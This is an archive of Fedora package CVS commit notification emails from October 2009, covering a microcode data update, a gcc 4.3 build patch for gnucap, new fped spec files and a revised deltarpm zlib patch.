From davej at fedoraproject.org  Thu Oct  1 02:21:45 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Thu,  1 Oct 2009 02:21:45 +0000 (UTC)
Subject: rpms/microcode_ctl/devel .cvsignore, 1.14, 1.15 microcode_ctl.spec, 
	1.54, 1.55 sources, 1.11, 1.12
Message-ID: <20091001022145.5B0C311C00E5@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/microcode_ctl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17280

Modified Files:
	.cvsignore microcode_ctl.spec sources 
Log Message:
Update to microcode-20090927.dat


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/microcode_ctl/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	13 May 2009 17:15:32 -0000	1.14
+++ .cvsignore	1 Oct 2009 02:21:44 -0000	1.15
@@ -2,3 +2,4 @@ clog
 microcode_ctl-1.17
 microcode_ctl-1.17.tar.gz
 microcode-20090330.dat
+microcode-20090927.dat


Index: microcode_ctl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/microcode_ctl/devel/microcode_ctl.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- microcode_ctl.spec	11 Sep 2009 18:36:23 -0000	1.54
+++ microcode_ctl.spec	1 Oct 2009 02:21:44 -0000	1.55
@@ -10,7 +10,7 @@ Source0:        http://www.urbanmyth.org
 Source1:        microcode_ctl.init
 # Microcode now distributed directly by Intel, at
 # http://downloadcenter.intel.com (just search for microcode)
-Source2:        microcode-20090330.dat
+Source2:        microcode-20090927.dat
 Buildroot:      %{_tmppath}/%{name}-%{version}-root
 Requires(pre):  /sbin/chkconfig /sbin/service
 Requires(pre):  grep gawk coreutils
@@ -78,6 +78,9 @@ family=`cat /proc/cpuinfo | grep "^cpu f
 exit 0
 
 %changelog
+* Wed Sep 30 2009 Dave Jones <davej at redhat.com>
+- Update to microcode-20090927.dat
+
 * Fri Sep 11 2009 Dave Jones <davej at redhat.com>
 - Remove some unnecessary code from the init script.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/microcode_ctl/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	13 May 2009 17:15:32 -0000	1.11
+++ sources	1 Oct 2009 02:21:44 -0000	1.12
@@ -1,2 +1,2 @@
 98a7f06acef8459c8ef2a1b0fb86a99e  microcode_ctl-1.17.tar.gz
-d4e108cf99867c1a350c62a92197873d  microcode-20090330.dat
+98427bffc4c803655785ca2093da0a92  microcode-20090927.dat



From davej at fedoraproject.org  Thu Oct  1 02:23:00 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Thu,  1 Oct 2009 02:23:00 +0000 (UTC)
Subject: rpms/microcode_ctl/F-12 .cvsignore, 1.14, 1.15 microcode_ctl.spec, 
	1.54, 1.55 sources, 1.11, 1.12
Message-ID: <20091001022300.726FA11C00E5@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/microcode_ctl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17469

Modified Files:
	.cvsignore microcode_ctl.spec sources 
Log Message:
Update to microcode-20090927.dat


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/microcode_ctl/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	13 May 2009 17:15:32 -0000	1.14
+++ .cvsignore	1 Oct 2009 02:23:00 -0000	1.15
@@ -2,3 +2,4 @@ clog
 microcode_ctl-1.17
 microcode_ctl-1.17.tar.gz
 microcode-20090330.dat
+microcode-20090927.dat


Index: microcode_ctl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/microcode_ctl/F-12/microcode_ctl.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- microcode_ctl.spec	11 Sep 2009 18:36:23 -0000	1.54
+++ microcode_ctl.spec	1 Oct 2009 02:23:00 -0000	1.55
@@ -10,7 +10,7 @@ Source0:        http://www.urbanmyth.org
 Source1:        microcode_ctl.init
 # Microcode now distributed directly by Intel, at
 # http://downloadcenter.intel.com (just search for microcode)
-Source2:        microcode-20090330.dat
+Source2:        microcode-20090927.dat
 Buildroot:      %{_tmppath}/%{name}-%{version}-root
 Requires(pre):  /sbin/chkconfig /sbin/service
 Requires(pre):  grep gawk coreutils
@@ -78,6 +78,9 @@ family=`cat /proc/cpuinfo | grep "^cpu f
 exit 0
 
 %changelog
+* Wed Sep 30 2009 Dave Jones <davej at redhat.com>
+- Update to microcode-20090927.dat
+
 * Fri Sep 11 2009 Dave Jones <davej at redhat.com>
 - Remove some unnecessary code from the init script.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/microcode_ctl/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	13 May 2009 17:15:32 -0000	1.11
+++ sources	1 Oct 2009 02:23:00 -0000	1.12
@@ -1,2 +1,2 @@
 98a7f06acef8459c8ef2a1b0fb86a99e  microcode_ctl-1.17.tar.gz
-d4e108cf99867c1a350c62a92197873d  microcode-20090330.dat
+98427bffc4c803655785ca2093da0a92  microcode-20090927.dat



From chitlesh at fedoraproject.org  Thu Oct  1 04:55:12 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 04:55:12 +0000 (UTC)
Subject: rpms/gnucap/EL-5 gnucap-0.35-gcc43.patch, NONE, 1.1 import.log, NONE,
	1.1 gnucap.spec, 1.3, 1.4
Message-ID: <20091001045512.E8EEF11C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/gnucap/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28526/EL-5

Modified Files:
	gnucap.spec 
Added Files:
	gnucap-0.35-gcc43.patch import.log 
Log Message:
first commit for the EL-5 branch

gnucap-0.35-gcc43.patch:
 modelgen/ap.h   |    1 +
 src/ap.h        |    1 +
 src/e_base.h    |    1 +
 src/io_findf.cc |    1 +
 src/io_getln.cc |    1 +
 src/io_out.cc   |    1 +
 src/l_ftos.cc   |    1 +
 src/l_timer.cc  |    1 +
 src/main.cc     |    1 +
 src/plot.cc     |    1 +
 10 files changed, 10 insertions(+)

--- NEW FILE gnucap-0.35-gcc43.patch ---
--- gnucap-0.35/modelgen/ap.h	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/modelgen/ap.h	2008-01-08 22:28:50.000000000 +0100
@@ -24,6 +24,7 @@
 //testing=script,sparse 2006.07.17
 #ifndef AP_H
 #define AP_H
+#include <string.h>
 #include "md.h"
 /*--------------------------------------------------------------------------*/
 enum AP_MOD{
--- gnucap-0.35/src/ap.h	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/ap.h	2008-01-08 22:29:01.000000000 +0100
@@ -24,6 +24,7 @@
 //testing=script,sparse 2006.07.17
 #ifndef AP_H
 #define AP_H
+#include <string.h>
 #include "md.h"
 /*--------------------------------------------------------------------------*/
 enum AP_MOD{
--- gnucap-0.35/src/e_base.h	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/e_base.h	2008-01-08 22:29:59.000000000 +0100
@@ -24,6 +24,7 @@
 //testing=script,complete 2006.07.12
 #ifndef E_BASE_H
 #define E_BASE_H
+#include <strings.h>
 #include "l_compar.h"
 #include "u_opt.h"
 #include "u_status.h"
--- gnucap-0.35/src/io_findf.cc	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/io_findf.cc	2008-01-08 22:33:15.000000000 +0100
@@ -32,6 +32,7 @@
  * PATHSEP, ENDDIR are system dependent, defined in md.h
  */
 //testing=script,sparse 2006.07.17
+#include <string.h>
 #include "l_lib.h"
 /*--------------------------------------------------------------------------*/
 std::string findfile(const std::string& filename, const std::string& path,
--- gnucap-0.35/src/io_getln.cc	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/io_getln.cc	2008-01-08 22:32:51.000000000 +0100
@@ -27,6 +27,7 @@
  * start with + is extension line, spice compatibility.
  */
 //testing=script 2006.07.17
+#include <string.h>
 #include "l_lib.h"
 /*--------------------------------------------------------------------------*/
 std::string getlines(FILE *fileptr)
--- gnucap-0.35/src/io_out.cc	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/io_out.cc	2008-01-08 22:33:34.000000000 +0100
@@ -31,6 +31,7 @@
  * but I have yet to find a system that did not meet this form.
  */
 //testing=script,sparse 2006.07.17
+#include <string.h>
 #include "u_opt.h"
 /*--------------------------------------------------------------------------*/
 	const char* octal(int x);
--- gnucap-0.35/src/l_ftos.cc	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/l_ftos.cc	2008-01-08 22:33:53.000000000 +0100
@@ -37,6 +37,7 @@
  * after that, the space is overwritten, every POOLSIZE calls
  */
 //testing=script 2005.10.11
+#include <string.h>
 #include "l_lib.h"
 #include "constant.h"
 /*--------------------------------------------------------------------------*/
--- gnucap-0.35/src/l_timer.cc	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/l_timer.cc	2008-01-08 22:34:16.000000000 +0100
@@ -22,6 +22,7 @@
  * Time a command, or whatever
  */
 //testing=script,sparse 2006.07.13
+#include <string.h>
 #include "l_timer.h"
 /*--------------------------------------------------------------------------*/
 //		TIMER::TIMER();
--- gnucap-0.35/src/main.cc	2006-09-20 19:18:52.000000000 +0200
+++ gnucap-0.35.new/src/main.cc	2008-01-08 22:31:35.000000000 +0100
@@ -23,6 +23,7 @@
  * it all starts here
  */
 //testing=script 2006.07.14
+#include <strings.h>
 #include "patchlev.h"
 #include "c_comand.h"
 #include "declare.h"	/* lots */
--- gnucap-0.35/src/plot.cc	2006-08-28 08:15:43.000000000 +0200
+++ gnucap-0.35.new/src/plot.cc	2008-01-08 22:34:56.000000000 +0100
@@ -2,6 +2,7 @@
  * (this file is a mess.  it should be redone.)
  */
 //testing=script 2006.07.17
+#include <string.h>
 #include "declare.h"	/* self */
 #include "s__.h"
 #include "u_prblst.h"


--- NEW FILE import.log ---
gnucap-0_35-6_fc11:EL-5:gnucap-0.35-6.fc11.src.rpm:1254372840


Index: gnucap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnucap/EL-5/gnucap.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gnucap.spec	2 Apr 2007 20:40:52 -0000	1.3
+++ gnucap.spec	1 Oct 2009 04:55:12 -0000	1.4
@@ -1,12 +1,13 @@
 Name:           gnucap
 Version:        0.35
-Release:        1%{?dist}
+Release:        6%{?dist}
 Summary:        The Gnu Circuit Analysis Package
 Group:          Applications/Engineering
-License:        GPL
+License:        GPLv2+
 URL:            http://www.geda.seul.org/tools/gnucap
 Source0:        http://www.geda.seul.org/tools/gnucap/archive/%{name}-%{version}.tar.gz
 Patch0:         gnucap-0.34-debian.patch
+Patch1:         gnucap-0.35-gcc43.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  readline-devel
 
@@ -23,6 +24,7 @@ event driven analog simulation, and true
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 # use ncurses instead of termcap (bz 226771)
 sed -i 's/-ltermcap/-lncurses/g' configure
 
@@ -56,6 +58,21 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.35-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.35-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 0.35-4
+- Autorebuild for GCC 4.3
+
+* Tue Jan  8 2008 Hans de Goede <j.w.r.degoede at hhs.nl> 0.35-3
+- Fix building with gcc 4.3
+
+* Tue Aug  7 2007 Hans de Goede <j.w.r.degoede at hhs.nl> 0.35-2
+- Update License tag for new Licensing Guidelines compliance
+
 * Wed Feb 14 2007 Hans de Goede <j.w.r.degoede at hhs.nl> 0.35-1
 - New upstream release 0.35
 - Link with -lncurses instead of -ltermcap (bz 226771)



From toshio at fedoraproject.org  Thu Oct  1 04:57:27 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 04:57:27 +0000 (UTC)
Subject: rpms/deltarpm/devel deltarpm-system-zlib.patch, 1.2,
	1.3 deltarpm.spec, 1.33, 1.34
Message-ID: <20091001045727.EDD1211C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28901

Modified Files:
	deltarpm-system-zlib.patch deltarpm.spec 
Log Message:

* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.4.20090913git
- Update patch to properly detect when an rpm is built with an rsync-friendly
  zlib and bail out.


deltarpm-system-zlib.patch:
 Makefile |   27 +++++++++++++++------------
 cfile.c  |   60 ++++++++++++++++++++++++++++++++++++++++++++++++------------
 2 files changed, 63 insertions(+), 24 deletions(-)

Index: deltarpm-system-zlib.patch
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/devel/deltarpm-system-zlib.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- deltarpm-system-zlib.patch	30 Sep 2009 21:56:29 -0000	1.2
+++ deltarpm-system-zlib.patch	1 Oct 2009 04:57:27 -0000	1.3
@@ -1,67 +1,7 @@
-diff -up deltarpm-git-20090913/cfile.c.mine deltarpm-git-20090913/cfile.c
---- deltarpm-git-20090913/cfile.c.mine	2009-09-30 14:14:01.422201390 -0700
-+++ deltarpm-git-20090913/cfile.c	2009-09-30 14:14:04.779201784 -0700
-@@ -17,6 +17,16 @@
- 
- #include "cfile.h"
- 
-+/* Unfortunately, we need to know what this flag is whether we have a zlib
-+ * which has been modified to include it or not
-+ */
-+#ifdef Z_RSYNCABLE
-+#define CFILE_Z_RSYNCABLE Z_RSYNCABLE
-+#else
-+/* This is the value from the current patch */
-+#define CFILE_Z_RSYNCABLE           0x4000
-+#endif
-+
- /*****************************************************************
-  *  generic input/output routines
-  */
-@@ -888,8 +898,12 @@ crunread_un(struct cfile *f, void *buf, 
- }
- 
- 
--#ifdef Z_RSYNCABLE
--
-+/*
-+ * Checks whether a cfile was compressed with the RSYNCABLE flag via amodified
-+ * zlib. If so, it changes the cfile->comp to CFILE_COMP_GZ_RSYNC.
-+ *
-+ * On error, return -1, otherwise return 0.
-+ */
- int
- cfile_detect_rsync(struct cfile *f)
- {
-@@ -922,7 +936,7 @@ cfile_detect_rsync(struct cfile *f)
-       cstrm[i].zalloc = 0;
-       cstrm[i].zfree = 0;
-       cstrm[i].opaque = 0;
--      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
-+      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? CFILE_Z_RSYNCABLE : 0)) != Z_OK)
- 	{
- 	  if (i)
- 	    deflateEnd(&cstrm[0]);
-@@ -1053,16 +1067,6 @@ cfile_detect_rsync(struct cfile *f)
-   return comp == -1 ? -1 : 0;
- }
- 
--#else
--
--int
--cfile_detect_rsync(struct cfile *f)
--{
--  return -1;
--}
--
--#endif
--
- /*****************************************************************
-  *  our open function
-  */
-diff -up deltarpm-git-20090913/Makefile.mine deltarpm-git-20090913/Makefile
---- deltarpm-git-20090913/Makefile.mine	2009-09-30 14:13:54.161201546 -0700
-+++ deltarpm-git-20090913/Makefile	2009-09-30 14:14:09.189200835 -0700
+Index: deltarpm-git-20090913/Makefile
+===================================================================
+--- deltarpm-git-20090913.orig/Makefile
++++ deltarpm-git-20090913/Makefile
 @@ -4,9 +4,12 @@ libdir=$(prefix)/lib
  mandir=$(prefix)/man
  rpmdumpheader=$(bindir)/rpmdumpheader
@@ -119,3 +59,129 @@ diff -up deltarpm-git-20090913/Makefile.
  	cd $(zlibdir) ; make CFLAGS="-fPIC $(CFLAGS)" libz.a
  
  clean:
+Index: deltarpm-git-20090913/cfile.c
+===================================================================
+--- deltarpm-git-20090913.orig/cfile.c
++++ deltarpm-git-20090913/cfile.c
+@@ -888,8 +888,6 @@ crunread_un(struct cfile *f, void *buf, 
+ }
+ 
+ 
+-#ifdef Z_RSYNCABLE
+-
+ int
+ cfile_detect_rsync(struct cfile *f)
+ {
+@@ -919,10 +917,22 @@ cfile_detect_rsync(struct cfile *f)
+     }
+   for (i = 0; i < 2; i++)
+     {
++#ifndef Z_RSYNCABLE
++      /* Rsync friendly zlib not available, don't set up a compressor for it
++       * */
++      if (i)
++	{
++	  break;
++	}
++#endif
+       cstrm[i].zalloc = 0;
+       cstrm[i].zfree = 0;
+       cstrm[i].opaque = 0;
++#ifdef Z_RSYNCABLE
+       if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
++#else
++      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY) != Z_OK)
++#endif
+ 	{
+ 	  if (i)
+ 	    deflateEnd(&cstrm[0]);
+@@ -964,6 +974,23 @@ cfile_detect_rsync(struct cfile *f)
+ 		{
+ 		  for (i = 0; i < 2 && !done; i++)
+ 		    {
++#ifndef Z_RSYNCABLE
++		      /* No rsync friendly zlib so we can only test against
++		       * COMP_GZ.  This is suboptimal as it's only when we
++		       * run into an error that we can cut to the end.  So
++		       * we're forced to uncompress and recompress the whole
++		       * output.  Need to determine if we can determine that
++		       * we used the other algorithm is being used after
++		       * decompressing a certain amount of blocks.  Perhaps
++		       * after RSYNC_WIN or MAX_DIST blocks have been
++		       * decompressed we can know whether COMP_GZ_RSYNC was
++		       * used?
++		       */
++		      if (i)
++			{
++			    break;
++			}
++#endif
+ 		      cstrm[i].avail_in = sizeof(dbuf) - dstrm.avail_out;
+ 		      cstrm[i].next_in = dbuf;
+ 		      while (cstrm[i].avail_in)
+@@ -971,14 +998,23 @@ cfile_detect_rsync(struct cfile *f)
+ 			  cstrm[i].avail_out = sizeof(cbuf);
+ 			  cstrm[i].next_out = cbuf;
+ 			  ret = deflate(&cstrm[i], dret == Z_STREAM_END ? Z_FINISH : Z_NO_FLUSH);
++			  /* Any errors in compressing, set to the other
++			   * compression algorithm
++			   */
+ 			  if (ret != Z_OK && ret != Z_STREAM_END)
+ 			    {
+ 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
+ 			      done = 1;
+ 			      break;
+ 			    }
++			  /* if compression yielded something
++			   */
+ 			  if (cstrm[i].avail_out != sizeof(cbuf))
+ 			    {
++			      /* If the newly compressed block is not equal to
++			       * the original compressed payload, set to the
++			       * opposite compression algorithm
++			       */
+ 			      if (memcmp(b + p[i], cbuf, sizeof(cbuf) - cstrm[i].avail_out))
+ 				{
+ 				  comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
+@@ -987,6 +1023,14 @@ cfile_detect_rsync(struct cfile *f)
+ 				}
+ 			      p[i] += sizeof(cbuf) - cstrm[i].avail_out;
+ 			    }
++			  /* If the input stream is not empty but the
++			   * compressor says that the stream is empty we have
++			   * an error.  Set to the opposite compression
++			   * algorithm.
++			   *
++			   * Note -- This code looks wrong:
++			   * Should be Z_STREAM_END, not BZ_STREAM_END
++			   */
+ 			  if (cstrm[i].avail_in && ret == BZ_STREAM_END)
+ 			    {
+ 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
+@@ -1011,7 +1055,9 @@ cfile_detect_rsync(struct cfile *f)
+       b = b2;
+     }
+   deflateEnd(&cstrm[0]);
++#ifdef Z_RSYNCABLE
+   deflateEnd(&cstrm[1]);
++#endif
+   inflateEnd(&dstrm);
+   f->bufN = -1;
+   f->strm.gz.avail_in = 0;
+@@ -1053,16 +1099,6 @@ cfile_detect_rsync(struct cfile *f)
+   return comp == -1 ? -1 : 0;
+ }
+ 
+-#else
+-
+-int
+-cfile_detect_rsync(struct cfile *f)
+-{
+-  return -1;
+-}
+-
+-#endif
+-
+ /*****************************************************************
+  *  our open function
+  */


Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/devel/deltarpm.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- deltarpm.spec	30 Sep 2009 21:56:29 -0000	1.33
+++ deltarpm.spec	1 Oct 2009 04:57:27 -0000	1.34
@@ -3,7 +3,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.5
-Release: 0.3.20090913git%{?dist}
+Release: 0.4.20090913git%{?dist}
 License: BSD
 Group: System Environment/Base
 URL: http://gitorious.org/deltarpm/deltarpm
@@ -104,6 +104,10 @@ This package contains python bindings fo
 %{python_sitearch}/*
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.4.20090913git
+- Update patch to properly detect when an rpm is built with an rsync-friendly
+  zlib and bail out.
+
 * Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.3.20090913git
 - Make building with system zlib selectable at build time.
 - Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable



From chitlesh at fedoraproject.org  Thu Oct  1 05:00:41 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 05:00:41 +0000 (UTC)
Subject: rpms/fped/F-10 fped.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001050041.2331B11C0333@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/fped/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29434/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	fped.spec import.log 
Log Message:
first package


--- NEW FILE fped.spec ---
Name:           fped
Version:        0
Release:        0.1.r5664%{?dist}
Summary:        A footprint editor used by openmoko developers

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://openmoko.org
# grabbed from svn
# svn export -r 5664 http://svn.openmoko.org/trunk/eda/fped fped-0
# tar cjf fped-0.tar.bz2 fped-0
Source0:        %{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel
BuildRequires:  bison
BuildRequires:  flex
BuildRequires:  transfig
BuildRequires:  netpbm-progs
BuildRequires:  ImageMagick
     

%description
fped is an editor that allows the interactive creation of footprints of
electronic components. Footprint definitions are stored in a text format
that resembles a programming language.

The language is constrained such that anything that can be expressed in
the textual definition also has a straightforward equivalent operation
that can be performed through the GUI.

%prep
%setup -q

# Tuning makefile for fedora packaging guidelines
%{__sed} -i \
  -e "s|/usr/local|%{_prefix}|g" \
  -e "s|\$(PREFIX)/bin/|\$(DESTDIR)\$(PREFIX)/bin/|g" \
  -e "s|install -m|install -pm|" \
  -e "s|CFLAGS = |CFLAGS = %{optflags} |g" Makefile
  
# footprints as examples
mkdir -p footprints
cp -p *.fpd footprints/

%build
# Make verbose
export V=1
make dep
make manual
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
install -d %{buildroot}%{_bindir}
make install DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README TODO gui.html manual/
%doc footprints/
%{_bindir}/%{name}


%changelog
* Wed Sep 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-0.1.r5664
- changed release tag to 0.1 and added instructions to download the sources.

* Tue Sep 29 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-1.r5664
- Initial package for fedora.


--- NEW FILE import.log ---
fped-0-0_1_r5664_fc11:F-10:fped-0-0.1.r5664.fc11.src.rpm:1254373187


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fped/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:44:59 -0000	1.1
+++ .cvsignore	1 Oct 2009 05:00:40 -0000	1.2
@@ -0,0 +1 @@
+fped-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fped/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:44:59 -0000	1.1
+++ sources	1 Oct 2009 05:00:40 -0000	1.2
@@ -0,0 +1 @@
+d6ff185133b7fbd02255eb8b96a45ccb  fped-0.tar.bz2



From chitlesh at fedoraproject.org  Thu Oct  1 05:05:38 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 05:05:38 +0000 (UTC)
Subject: rpms/fped/F-11 fped.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001050538.D452C11C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/fped/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30109/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	fped.spec import.log 
Log Message:
first package


--- NEW FILE fped.spec ---
Name:           fped
Version:        0
Release:        0.1.r5664%{?dist}
Summary:        A footprint editor used by openmoko developers

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://openmoko.org
# grabbed from svn
# svn export -r 5664 http://svn.openmoko.org/trunk/eda/fped fped-0
# tar cjf fped-0.tar.bz2 fped-0
Source0:        %{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel
BuildRequires:  bison
BuildRequires:  flex
BuildRequires:  transfig
BuildRequires:  netpbm-progs
BuildRequires:  ImageMagick
     

%description
fped is an editor that allows the interactive creation of footprints of
electronic components. Footprint definitions are stored in a text format
that resembles a programming language.

The language is constrained such that anything that can be expressed in
the textual definition also has a straightforward equivalent operation
that can be performed through the GUI.

%prep
%setup -q

# Tuning makefile for fedora packaging guidelines
%{__sed} -i \
  -e "s|/usr/local|%{_prefix}|g" \
  -e "s|\$(PREFIX)/bin/|\$(DESTDIR)\$(PREFIX)/bin/|g" \
  -e "s|install -m|install -pm|" \
  -e "s|CFLAGS = |CFLAGS = %{optflags} |g" Makefile
  
# footprints as examples
mkdir -p footprints
cp -p *.fpd footprints/

%build
# Make verbose
export V=1
make dep
make manual
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
install -d %{buildroot}%{_bindir}
make install DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README TODO gui.html manual/
%doc footprints/
%{_bindir}/%{name}


%changelog
* Wed Sep 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-0.1.r5664
- changed release tag to 0.1 and added instructions to download the sources.

* Tue Sep 29 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-1.r5664
- Initial package for fedora.


--- NEW FILE import.log ---
fped-0-0_1_r5664_fc11:F-11:fped-0-0.1.r5664.fc11.src.rpm:1254373369


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fped/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:44:59 -0000	1.1
+++ .cvsignore	1 Oct 2009 05:05:38 -0000	1.2
@@ -0,0 +1 @@
+fped-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fped/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:44:59 -0000	1.1
+++ sources	1 Oct 2009 05:05:38 -0000	1.2
@@ -0,0 +1 @@
+d6ff185133b7fbd02255eb8b96a45ccb  fped-0.tar.bz2



From chitlesh at fedoraproject.org  Thu Oct  1 05:12:29 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 05:12:29 +0000 (UTC)
Subject: rpms/fped/EL-5 fped.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001051229.43E2611C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/fped/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30959/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	fped.spec import.log 
Log Message:
first package


--- NEW FILE fped.spec ---
Name:           fped
Version:        0
Release:        0.1.r5664%{?dist}
Summary:        A footprint editor used by openmoko developers

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://openmoko.org
# grabbed from svn
# svn export -r 5664 http://svn.openmoko.org/trunk/eda/fped fped-0
